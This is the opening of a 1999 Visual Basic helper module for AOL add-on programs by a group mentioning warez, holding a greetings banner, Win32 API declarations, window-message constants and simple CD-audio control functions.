home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / wantto1a / errorrre.bas < prev    next >
Encoding:
BASIC Source File  |  1999-09-27  |  247.2 KB  |  8,413 lines
  1. Attribute VB_Name = "ErrorRreV"
  2. '***ANYTHING WITHOUT AOL30 IN FRONT OF IT IS FOR 4.0 OR IS NON AOL***
  3.           'Mail me at Hangu21@hotmail.com
  4. 'visit www.ErrorRCrew.com
  5. 'Props to all ErrorR member's, we are trying to
  6. 'conclude all these issues with lamer's
  7. ' we are trying to bring back some of the last hope
  8. 'in ware'z many people fuck up, many get hacked.
  9. 'fucking lamer's fuck all the things up
  10. 'ErrorR \X/aReZ
  11. 'Prop's to
  12. 'D/X\X, THuG, ViSio(V, FRea|<, Da|>, SCu(V), RoB, Za(Ve
  13. '     DiRT, BeeR, (VoTHi(V, BaR|= BeeR, SouL, SCaP
  14. '       STaBeR, DicK TraCY, SLiM, GHoST, TroPp
  15. '         SeNaTe, FreeZN, SK8, H2O,L33Te|2
  16. 'SendChat " |»|»»||»|\»'\|»|\»'\á/»/\»\|»|\»'\|»|\»\"
  17. 'SendChat " |≈|»|'''|/ / |'|/ /  |''|≈|á|≈||≈ /| ||≈/'"
  18. 'SendChat " |≈|_|╕|≈|\»\'|≈|\»\''|≈|á|á|| | \»\|≈|\»\'"
  19. 'SendChat " |_|__||_|á|_||_|á|_|á\_\/_/|_|á|_||_| |_|"
  20. 'BlackRed "            -=(▓¢y: (V)rRδVr╦(\/ =-"
  21. Private Declare Function mciGetErrorString Lib "WinMM.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long
  22. Private Declare Function mciSendString Lib "WinMM.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
  23. Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Integer, ByVal X As Integer, ByVal Y As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal hSrcDC As Integer, ByVal xSrc As Integer, ByVal ySrc As Integer, ByVal dwRop As Long) As Integer
  24. Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
  25. Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  26. Declare Function ExitWindows Lib "user32" Alias "ExitWindowsEx" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
  27. 'Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  28. Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long
  29. Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpVlueName As String, ByVal Reserved As Long, dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  30. Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  31. Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
  32. Declare Function GetPrivateProfileString Lib "Kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  33.  
  34. Declare Function WritePrivateProfileString Lib "Kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpstring As Any, ByVal lpFileName As String) As Long
  35. Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
  36. Declare Function GetPrivateProfileSection Lib "Kernel32" Alias "GetPrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  37. Declare Function WritePrivateProfileSection Lib "Kernel32" Alias "WritePrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpstring As String, ByVal lpFileName As String) As Long
  38. Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long
  39. Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
  40. Declare Function ReleaseCapture Lib "user32" () As Long
  41. Private Declare Function WindowFromPointXY Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
  42. Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
  43. Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
  44. Declare Function RegisterClipboardFormat Lib "user32" Alias "RegisterClipboardFormatA" (ByVal lpstring As String) As Long
  45. Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpstring As String) As Long
  46. Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
  47. Declare Function IsWindowEnabled Lib "user32" (ByVal hwnd As Long) As Long
  48. Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long
  49. Declare Function Beep Lib "Kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
  50. Private Declare Function ReadProcessMemory Lib "Kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
  51. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  52. Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  53. Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
  54. Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  55. Declare Function ScreenToClient Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
  56. Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  57. Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long
  58. Private Declare Sub RtlMoveMemory Lib "Kernel32" (ByRef dest As Any, ByRef Source As Any, ByVal nBytes As Long)
  59. Declare Function RedrawWindow Lib "user32" (ByVal hwnd As Long, lprcUpdate As RECT, ByVal hrgnUpdate As Long, ByVal fuRedraw As Long) As Long
  60. Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  61. Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  62. Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
  63. Declare Function dwGetStringFromLPSTR Lib "dwspy32.dll" (ByVal lpcopy As Long) As String
  64. Public Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  65. Public Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
  66. Declare Sub dwCopyDataBynum Lib "dwspy32.dll" Alias "dwCopyData" (ByVal Source&, ByVal dest&, ByVal nCount&)
  67. Private Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
  68. Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
  69. Private Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
  70. Declare Function dwGetAddressForObject& Lib "dwspy32.dll" (object As Any)
  71. Declare Sub dwCopyDataByString Lib "dwspy32.dll" Alias "dwCopyData" (ByVal Source As String, ByVal dest As Long, ByVal nCount&)
  72. Declare Function dwXCopyDataBynumFrom& Lib "dwspy32.dll" Alias "dwXCopyDataFrom" (ByVal mybuf As Long, ByVal foreignbuf As Long, ByVal size As Integer, ByVal foreignPID As Long)
  73. Declare Function dwGetWndInstance& Lib "dwspy32.dll" (ByVal hwnd&)
  74. Declare Function RegisterWindowMessage& Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpstring As String)
  75. Declare Function GetWindowLong& Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long)
  76. Declare Function EnumWindows& Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long)
  77. Declare Function SendMessageByNum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
  78. Declare Function GetClassName& Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long)
  79. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  80. Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long
  81. Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hwnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long
  82. Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
  83. 'Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  84. 'Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
  85. Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Long) As Long
  86. Declare Function CreatePopupMenu Lib "user32" () As Long
  87. Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
  88. Declare Function GetDesktopWindow Lib "user32" () As Long
  89. Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
  90. Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
  91. Declare Function GetWindowsDirectory Lib "Kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  92. Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  93. Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long
  94. Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hwndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wflags As Long) As Long
  95. Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
  96. Declare Function SetFocusAPI Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
  97. Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpstring As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
  98. Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpstring As String, ByVal cch As Long) As Long
  99. Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
  100. Declare Function InsertMenu Lib "user32" Alias "InsertMenuA" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long
  101. Declare Function AppendMenu Lib "user32" Alias "AppendMenuA" (ByVal hMenu As Long, ByVal wflags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long
  102. Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long) As Long
  103. Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wflags As Long) As Long
  104. Declare Function DestroyMenu Lib "user32" (ByVal hMenu%) As Integer
  105. Declare Function sndPlaySound Lib "WinMM.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
  106.  
  107. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  108. Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  109. Public Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
  110. Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
  111. Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  112. Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  113.  
  114.  
  115. Public Const GWL_WNDPROC = -4
  116.  
  117. Public Const SND_SYNC = &H0
  118. Public Const SND_ASYNC = &H1
  119. Public Const SND_NODEFAULT = &H2
  120. Public Const SND_MEMORY = &H4
  121. Public Const SND_ALIAS = &H10000
  122. Public Const SND_FILENAME = &H20000
  123. Public Const SND_RESOURCE = &H40004
  124. Public Const SND_ALIAS_ID = &H110000
  125. Public Const SND_ALIAS_START = 0
  126. Public Const SND_LOOP = &H8
  127. Public Const SND_NOSTOP = &H10
  128. Public Const SND_VALID = &H1F
  129. Public Const SND_NOWAIT = &H2000
  130. Public Const SND_VALIDFLAGS = &H17201F
  131. Public Const SND_RESERVED = &HFF000000
  132. Public Const SND_TYPE_MASK = &H170007
  133.  
  134.  
  135. Public Const WM_CHAR = &H102
  136. Public Const WM_SETTEXT = &HC
  137. Public Const WM_USER = &H400
  138. Public Const WM_KEYDOWN = &H100
  139. Public Const WM_KEYUP = &H101
  140. Public Const WM_LBUTTONDOWN = &H201
  141. Public Const WM_LBUTTONUP = &H202
  142. Public Const WM_CLOSE = &H10
  143. Public Const WM_COMMAND = &H111
  144. Public Const WM_CLEAR = &H303
  145. Public Const WM_DESTROY = &H2
  146. Public Const WM_GETTEXT = &HD
  147. Public Const WM_GETTEXTLENGTH = &HE
  148. Public Const WM_LBUTTONDBLCLK = &H203
  149.  
  150. Public Const BM_GETCHECK = &HF0
  151. Public Const BM_GETSTATE = &HF2
  152. Public Const BM_SETCHECK = &HF1
  153. Public Const BM_SETSTATE = &HF3
  154. Public Const EM_GETLINE = &HC4
  155.  
  156. Public Const LB_GETITEMDATA = &H199
  157. Public Const LB_GETCOUNT = &H18B
  158. Public Const LB_ADDSTRING = &H180
  159. Public Const LB_DELETESTRING = &H182
  160. Public Const LB_FINDSTRING = &H18F
  161. Public Const LB_FINDSTRINGEXACT = &H1A2
  162. Public Const LB_GETCURSEL = &H188
  163. Public Const LB_GETTEXT = &H189
  164. Public Const LB_GETTEXTLEN = &H18A
  165. Public Const LB_SELECTSTRING = &H18C
  166. Public Const LB_SETCOUNT = &H1A7
  167. Public Const LB_SETCURSEL = &H186
  168. Public Const LB_SETSEL = &H185
  169. Public Const LB_INSERTSTRING = &H181
  170.  
  171. Public Const RGN_AND = 1
  172. Public Const RGN_COPY = 5
  173. Public Const RGN_DIFF = 4
  174. Public Const RGN_OR = 2
  175. Public Const RGN_XOR = 3
  176.  
  177. Public Const VK_HOME = &H24
  178. Public Const VK_RIGHT = &H27
  179. Public Const VK_CONTROL = &H11
  180. Public Const VK_DELETE = &H2E
  181. Public Const VK_DOWN = &H28
  182. Public Const VK_LEFT = &H25
  183. Public Const VK_RETURN = &HD
  184. Public Const VK_SPACE = &H20
  185. Public Const VK_TAB = &H9
  186. Public Const VK_UP = &H26
  187. Public Const ENTER_KEY = 13
  188.  
  189. Public Const EWX_FORCE = 4
  190. Public Const EWX_LOGOFF = 0
  191. Public Const EWX_REBOOT = 2
  192. Public Const EWX_SHUTDOWN = 1
  193.     
  194. Public Const HWND_TOP = 0
  195. Public Const HWND_TOPMOST = -1
  196. Public Const HWND_NOTOPMOST = -2
  197.  
  198. Public Const SWP_NOMOVE = &H2
  199. Public Const SWP_NOSIZE = &H1
  200. Public Const flags = SWP_NOMOVE Or SWP_NOSIZE
  201.  
  202. Public Const GW_CHILD = 5
  203. Public Const GW_HWNDFIRST = 0
  204. Public Const GW_HWNDLAST = 1
  205. Public Const GW_HWNDNEXT = 2
  206. Public Const GW_HWNDPREV = 3
  207. Public Const GW_OWNER = 4
  208.  
  209. Public Const SW_MAXIMIZE = 3
  210. Public Const SW_MINIMIZE = 6
  211. Public Const SW_HIDE = 0
  212. Public Const SW_RESTORE = 9
  213. Public Const SW_SHOW = 5
  214. Public Const SW_SHOWDEFAULT = 10
  215. Public Const SW_SHOWMAXIMIZED = 3
  216. Public Const SW_SHOWMINIMIZED = 2
  217. Public Const SW_SHOWMINNOACTIVE = 7
  218. Public Const SW_SHOWNOACTIVATE = 4
  219. Public Const SW_SHOWNORMAL = 1
  220.  
  221. Public Const MF_APPEND = &H100&
  222. Public Const MF_DELETE = &H200&
  223. Public Const MF_CHANGE = &H80&
  224. Public Const MF_ENABLED = &H0&
  225. Public Const MF_DISABLED = &H2&
  226. Public Const MF_REMOVE = &H1000&
  227. Public Const MF_POPUP = &H10&
  228. Public Const MF_STRING = &H0&
  229. Public Const MF_UNCHECKED = &H0&
  230. Public Const MF_CHECKED = &H8&
  231. Public Const MF_GRAYED = &H1&
  232. Public Const MF_BYPOSITION = &H400&
  233. Public Const MF_BYCOMMAND = &H0&
  234.  
  235. Public Const GWW_HINSTANCE = (-6)
  236. Public Const GWW_ID = (-12)
  237. Public Const GWL_STYLE = (-16)
  238.  
  239. Public Const PROCESS_VM_READ = &H10
  240. Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
  241. Public Const WM_NCMOUSEMOVE = &HA0
  242. Public Const WM_NCLBUTTONDOWN = &HA1
  243. Public Const WM_NCLBUTTONUP = &HA2
  244.  
  245.  
  246. Public Const HTERROR = (-2)
  247. Public Const HTTRANSPARENT = (-1)
  248. Public Const HTNOWHERE = 0
  249. Public Const HTCLIENT = 1
  250. Public Const HTCAPTION = 2
  251. Public Const HTSYSMENU = 3
  252. Public Const HTGROWBOX = 4
  253. Public Const HTSIZE = HTGROWBOX
  254. Public Const HTMENU = 5
  255. Public Const HTHSCROLL = 6
  256. Public Const HTVSCROLL = 7
  257. Public Const HTMINBUTTON = 8
  258. Public Const HTMAXBUTTON = 9
  259. Public Const HTLEFT = 10
  260. Public Const HTRIGHT = 11
  261. Public Const HTTOP = 12
  262. Public Const HTTOPLEFT = 13
  263. Public Const HTTOPRIGHT = 14
  264. Public Const HTBOTTOM = 15
  265. Public Const HTBOTTOMLEFT = 16
  266. Public Const HTBOTTOMRIGHT = 17
  267. Public Const HTBORDER = 18
  268. Public Const HTREDUCE = HTMINBUTTON
  269. Public Const HTZOOM = HTMAXBUTTON
  270. Public Const HTSIZEFIRST = HTLEFT
  271. Public Const HTSIZELAST = HTBOTTOMRIGHT
  272. Public Const Plug = "Hound_Dog"
  273. Public GiveClsNam As Long
  274. Public Const SRCCOPY = &HCC0020
  275. Public Const SRCAND = &H8800C6
  276. Public Const SRCINVERT = &H660046
  277.  
  278.  
  279. Public Const blue = "0000FF"
  280. Public Const LBlue = "#33CCFF"
  281. Public Const DBlue = "#000088"
  282. Public Const green = "#00CC00"
  283. Public Const LGreen = "#00FF00"
  284. Public Const DGreen = "#006600"
  285. Public Const red = "#FF0000"
  286. Public Const DRed = "#AA0000"
  287. Public Const Yellow = "#FFFF00"
  288. Public Const Grey = "#BBBBBB"
  289. Public Const LGrey = "#DDDDDD"
  290. Public Const DGrey = "#999999"
  291. Public Const Orange = "FF9900"
  292. Public Const Purple = "CC33CC"
  293. Public Const Pink = "#FF6699"
  294.  
  295. 'REGISTRY CONSTANTS
  296. Private Const REG_SZ = 1
  297. Private Const HKEY_CURRENT_USER = &H80000001
  298. Private Const HKEY_LOCAL_MACHINE = &H80000002
  299. Private Const REG_OPTION_NON_VOLATILE = 0
  300. Private Const SYNCHRONIZE = &H100000
  301. Private Const STANDARD_RIGHTS_ALL = &H1F0000
  302. Private Const KEY_QUERY_VALUE = &H1
  303. Private Const KEY_SET_VALUE = &H2
  304. Private Const KEY_CREATE_SUB_KEY = &H4
  305. Private Const KEY_ENUMERATE_SUB_KEYS = &H8
  306. Private Const KEY_NOTIFY = &H10
  307. Private Const KEY_CREATE_LINK = &H20
  308. Private Const ERROR_SUCCESS = 0&
  309. Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
  310. Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
  311. Const CLR_MENUBAR = &H80000004
  312. Const Number_of_Menu_Selections = 3
  313.         
  314. Const WM_SYSCOMMAND = &H112
  315. Const SC_MOVE = &HF012
  316. Const WA_INACTIVE = 0
  317. Const WA_ACTIVE = 1
  318. Const WA_CLICKACTIVE = 2
  319. Const WM_SETFOCUS = &H7
  320. Const WM_KILLFOCUS = &H8
  321. Const WM_ENABLE = &HA
  322. Const WM_SETREDRAW = &HB
  323.  
  324.  
  325. Const WM_PAINT = &HF
  326.  
  327. Const WM_QUERYENDSESSION = &H11
  328. Const WM_QUIT = &H12
  329. Const WM_QUERYOPEN = &H13
  330. Const WM_ERASEBKGND = &H14
  331. Const WM_SYSCOLORCHANGE = &H15
  332. Const WM_ENDSESSION = &H16
  333. Const WM_SHOWWINDOW = &H18
  334. Const WM_WININICHANGE = &H1A
  335. Const WM_DEVMODECHANGE = &H1B
  336. Const WM_ACTIVATEAPP = &H1C
  337. Const WM_FONTCHANGE = &H1D
  338. Const WM_TIMECHANGE = &H1E
  339. Const WM_CANCELMODE = &H1F
  340. Const WM_SETCURSOR = &H20
  341. Const WM_MOUSEACTIVATE = &H21
  342. Const WM_CHILDACTIVATE = &H22
  343. Const WM_QUEUESYNC = &H23
  344. Const WM_GETMINMAXINFO = &H24
  345. Const WM_PAINTICON = &H26
  346. Const WM_ICONERASEBKGND = &H27
  347. Const WM_NEXTDLGCTL = &H28
  348. Const WM_SPOOLERSTATUS = &H2A
  349. Const WM_DRAWITEM = &H2B
  350. Const WM_MEASUREITEM = &H2C
  351. Const WM_DELETEITEM = &H2D
  352. Const WM_VKEYTOITEM = &H2E
  353. Const WM_CHARTOITEM = &H2F
  354. Const WM_SETFONT = &H30
  355. Const WM_GETFONT = &H31
  356. Const WM_SETHOTKEY = &H32
  357. Const WM_GETHOTKEY = &H33
  358. Const WM_QUERYDRAGICON = &H37
  359. Const WM_COMPAREITEM = &H39
  360. Const WM_COMPACTING = &H41
  361.  
  362. Const CN_RECEIVE = &H1
  363. Const CN_TRANSMIT = &H2
  364. Const CN_EVENT = &H4
  365.  
  366. Const WM_WINDOWPOSCHANGING = &H46
  367. Const WM_WINDOWPOSCHANGED = &H47
  368. Const WM_POWER = &H48
  369.  
  370.  
  371.  
  372. Type COPYDATASTRUCT
  373.     dwData As Long
  374.     cbData As Long
  375.     lpData As Long
  376. End Type
  377.  
  378.     Const WM_NCCREATE = &H81
  379.     Const WM_NCDESTROY = &H82
  380.     Const WM_NCCALCSIZE = &H83
  381.     Const WM_NCHITTEST = &H84
  382.     Const WM_NCPAINT = &H85
  383.     Const WM_NCACTIVATE = &H86
  384.     Const WM_GETDLGCODE = &H87
  385.   
  386.   
  387.     Const WM_NCLBUTTONDBLCLK = &HA3
  388.     Const WM_NCRBUTTONDOWN = &HA4
  389.     Const WM_NCRBUTTONUP = &HA5
  390.     Const WM_NCRBUTTONDBLCLK = &HA6
  391.     Const WM_NCMBUTTONDOWN = &HA7
  392.     Const WM_NCMBUTTONUP = &HA8
  393.     Const WM_NCMBUTTONDBLCLK = &HA9
  394.     Const WM_KEYFIRST = &H100
  395.   
  396.     
  397.     Const WM_DEADCHAR = &H103
  398.     Const WM_SYSKEYDOWN = &H104
  399.     Const WM_SYSKEYUP = &H105
  400.     Const WM_SYSCHAR = &H106
  401.     Const WM_SYSDEADCHAR = &H107
  402.     Const WM_KEYLAST = &H108
  403.     Const WM_INITDIALOG = &H110
  404.   
  405.     
  406.     Const WM_TIMER = &H113
  407.     Const WM_HSCROLL = &H114
  408.     Const WM_VSCROLL = &H115
  409.     Const WM_INITMENU = &H116
  410.     Const WM_INITMENUPOPUP = &H117
  411.     Const WM_MENUSELECT = &H11F
  412.     Const WM_MENUCHAR = &H120
  413.     Const WM_ENTERIDLE = &H121
  414.     Const WM_CTLCOLORMSGBOX = &H132
  415.     Const WM_CTLCOLOREDIT = &H133
  416.     Const WM_CTLCOLORLISTBOX = &H134
  417.     Const WM_CTLCOLORBTN = &H135
  418.     Const WM_CTLCOLORDLG = &H136
  419.     Const WM_CTLCOLORSCROLLBAR = &H137
  420.     Const WM_CTLCOLORSTATIC = &H138
  421.     Const WM_MOUSEFIRST = &H200
  422.     Const WM_MOUSEMOVE = &H200
  423.     Const WM_RBUTTONDOWN = &H204
  424.     Const WM_RBUTTONUP = &H205
  425.     Const WM_RBUTTONDBLCLK = &H206
  426.     Const WM_MBUTTONDOWN = &H207
  427.     Const WM_MBUTTONUP = &H208
  428.     Const WM_MBUTTONDBLCLK = &H209
  429.     Const WM_MOUSELAST = &H209
  430.     Const WM_PARENTNOTIFY = &H210
  431.     Const WM_ENTERMENULOOP = &H211
  432.     Const WM_EXITMENULOOP = &H212
  433.     Const WM_MDICREATE = &H220
  434.     Const WM_MDIDESTROY = &H221
  435.     Const WM_MDIACTIVATE = &H222
  436.     Const WM_MDIRESTORE = &H223
  437.     Const WM_MDINEXT = &H224
  438.     Const WM_MDIMAXIMIZE = &H225
  439.     Const WM_MDITILE = &H226
  440.     Const WM_MDICASCADE = &H227
  441.     Const WM_MDIICONARRANGE = &H228
  442.     Const WM_MDIGETACTIVE = &H229
  443.     Const WM_MDISETMENU = &H230
  444.     Const WM_DROPFILES = &H233
  445.     Const WM_MDIREFRESHMENU = &H234
  446.     Const WM_CUT = &H300
  447.     Const WM_COPY = &H301
  448.     Const WM_PASTE = &H302
  449.     Const WM_UNDO = &H304
  450.     Const WM_RENDERFORMAT = &H305
  451.     Const WM_RENDERALLFORMATS = &H306
  452.     Const WM_DESTROYCLIPBOARD = &H307
  453.     Const WM_DRAWCLIPBOARD = &H308
  454.     Const WM_PAINTCLIPBOARD = &H309
  455.     Const WM_VSCROLLCLIPBOARD = &H30A
  456.     Const WM_SIZECLIPBOARD = &H30B
  457.     Const WM_ASKCBFORMATNAME = &H30C
  458.     Const WM_CHANGECBCHAIN = &H30D
  459.     Const WM_HSCROLLCLIPBOARD = &H30E
  460.     Const WM_QUERYNEWPALETTE = &H30F
  461.     Const WM_PALETTEISCHANGING = &H310
  462.     Const WM_PALETTECHANGED = &H311
  463.     Const WM_HOTKEY = &H312
  464.     Const WM_PENWINFIRST = &H380
  465.     Const WM_PENWINLAST = &H38F
  466.     
  467.   
  468.     
  469. Const WM_NULL = &H0
  470. Const WM_CREATE = &H1
  471. Const WM_MOVE = &H3
  472. Const WM_SIZE = &H5
  473. Const WM_ACTIVATE = &H6
  474.  
  475. Type RECT
  476.    Left As Long
  477.    Top As Long
  478.    Right As Long
  479.    bottom As Long
  480. End Type
  481.  
  482. Type POINTAPI
  483.    X As Long
  484.    Y As Long
  485. End Type
  486. Function CDCheck%()
  487.  
  488.     Dim s As String * 30
  489.     mciSendString "status cd media present", s, Len(s), 0
  490.     CDCheck = s
  491.     End Function
  492. Function CDConv_Sec()
  493. 'convert time into seconds
  494. Dim T As String * 50
  495. Dim I, RSec, Seconds, FSeconds, MTS As Integer
  496. Dim ms As String
  497. T = CDPosition2
  498.  
  499. MTS = Mid(T, 1, 2)
  500. FSeconds = MTS * 60
  501. RSec = Mid(T, 4, 2)
  502. Seconds = (FSeconds + RSec)
  503. CDConv_Sec = Seconds
  504. End Function
  505. Function CDCurrTrack()
  506. Dim s As String * 50
  507. mciSendString "status cd current track", s, Len(s), 0
  508. CDCurrTrack = s
  509. End Function
  510. Function CDDoorClose()
  511.  
  512.     mciSendString "set cd door closed", 0, 0, 0
  513.     End Function
  514. Function CDDoorOpen()
  515.  
  516.     mciSendString "set cd door open", 0, 0, 0
  517.     End Function
  518. Function CDFastForward(Spd)
  519.  
  520.     Dim s As String * 40
  521.     CDSetFormat_millisec
  522.     mciSendString "status cd position wait", s, Len(s), 0
  523.     
  524.     If CDIsPlaying = True Then
  525.     mciSendString "play cd from " & CStr(CLng(s) + Spd), 0, 0, 0
  526.     Else
